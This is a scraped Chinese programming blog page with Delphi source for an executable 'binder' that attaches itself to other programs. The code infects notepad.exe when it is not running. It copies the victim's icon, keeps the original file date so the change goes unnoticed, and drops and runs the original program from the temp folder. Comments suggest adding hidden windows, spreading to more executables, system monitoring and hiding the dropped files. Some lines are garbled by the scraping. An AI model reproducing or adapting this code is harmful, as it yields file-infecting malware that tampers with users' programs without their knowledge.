zoukankan      html  css  js  c++  java
  • 捆绑执行文件

    {
    **********************捆绑执行文件**********************
    **********************参考selfmodify--exe文件自修改*****
    与其它程序捆绑后,图标为其它程序的图标.日期不变
    这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
    如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

    程序中几个数字的确定:
    1 在本程序编译后用Aspack.Exe压缩,大小为41472
    2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节

    与其它程序捆绑的过程:
    本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

    怎么找到图标的位置:
    将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
    十六进制编辑软件:常用UltraEdit。不过我喜欢用自己的东西。
    }
    program exe2;

    uses
    classes,
    Tlhelp32,
    windows,
    graphics,
    ShellAPI,
    SysUtils;

    {$R *.RES}
    var
    lppe:TProcessEntry32;
    found:boolean;
    handle:THandle;
    ProcessStr,ExeName:string;
    WinDir:pchar;
    const
    MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

    procedure copy2(s: string);
    var
    s1,s2,IcoStream:TMemoryStream;
    File2:TFilestream;
    ch:array[0..1] of char;
    ss:string;
    filetime,fhandle:integer;
    l:integer;
    File2Icon:Ticon;
    begin
    {若文件s不存在}
    if FileExists(s)=False then exit;
    try
    {若文件不含图标,就不捆绑}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
    File2Icon.Free;
    exit;
    end
    else
    begin
    {提取被捆绑程序图标}
    File2Icon.Handle:=extracticon(handle,pchar(s),0);
    IcoStream:=TMemoryStream.Create;
    File2Icon.SaveToStream(IcoStream);
    File2Icon.Free;
    end;
    {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
    File2.;
    File2.Read(ch,2);
    ss:=copy(ch,1,2);
    if ss='MZ' then
    begin
    File2.Free;
    exit;
    end;
    end;
    File2.Free;
    {将本文件与文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字节
    第40752字节开始共640字节为图标数据
    !!以下数字 40751,81要根据实际情况修改!!
    }
    s1.copyfrom(s2,40751);
    {将图标换为被捆绑程序图标,图标大小为766}
    IcoStream.;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.;
    {加入本程序的后部81字节}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆绑程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢复文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
    except end;
    end;

    procedure CreateFileAndRun;
    var
    s1,s2:TMemoryStream;
    TempDir:pchar;
    cmdstr:string;
    a:integer;
    Begin
    s1:=TMemoryStream.Create;
    s1.loadfromfile(ExeName);
    if s1.Size=MySize then
    begin
    s1.Free;
    exit;
    end;
    s1.seek(MySize,soFromBeginning);
    s2:=TMemoryStream.Create;
    s2.copyfrom(s1,s1.Size-MySize);
    GetMem(TempDir,255);
    GetTempPath(255,TempDir);
    try
    {
    把文件释放到临时目录。
    如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
    如 c: windows(or winnt) downl...(☆这是个什么目录?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+' '+ExtractFileName(ExeName));
    except end;
    cmdstr:=';
    a:=1;
    while ParamStr(a)<>' do begin
    cmdstr:=cmdstr+ParamStr(a)+' ';
    inc(a);
    end;
    {运行真正的程序文件}
    winexec(pchar(TempDir+' '+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
    freemem(TempDir);
    s2.free;
    s1.free;
    end;

    begin
    GetMem(WinDir,255);
    GetWindowsDirectory(WinDir,255);
    ExeName:=ParamStr(0);
    handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    found:=Process32First(handle,lppe);
    ProcessStr:=';
    while found do
    begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
    found:=Process32Next(handle,lppe);
    end;
    {如果notepad没运行,就与它捆在一起}
    if pos(WinDir+' notepad.exe',ProcessStr)=0 then
    begin
    copy2(WinDir+' notepad.exe');
    end;
    {其它需要捆绑的文件
    if pos(...,ProcessStr)=0 then
    begin
    copy2(...);
    end;
    ...
    }
    freemem(WinDir);
    {
    你想用这个程序干点其它的什么...
    }
    CreateFileAndRun;{释放文件并带参数运行}
    end.

  • 相关阅读:
    [转发]UML类图符号 各种关系说明以及举例
    Promise 对象
    ES6基础(二)
    ES6基础
    JSON介绍
    Ajax的面试题
    Ajax请求
    jQuery从小白开始---初始jQuery
    常用的String原型
    JS之类数组
  • 原文地址:https://www.cnblogs.com/martian6125/p/9631566.html
Copyright © 2011-2022 走看看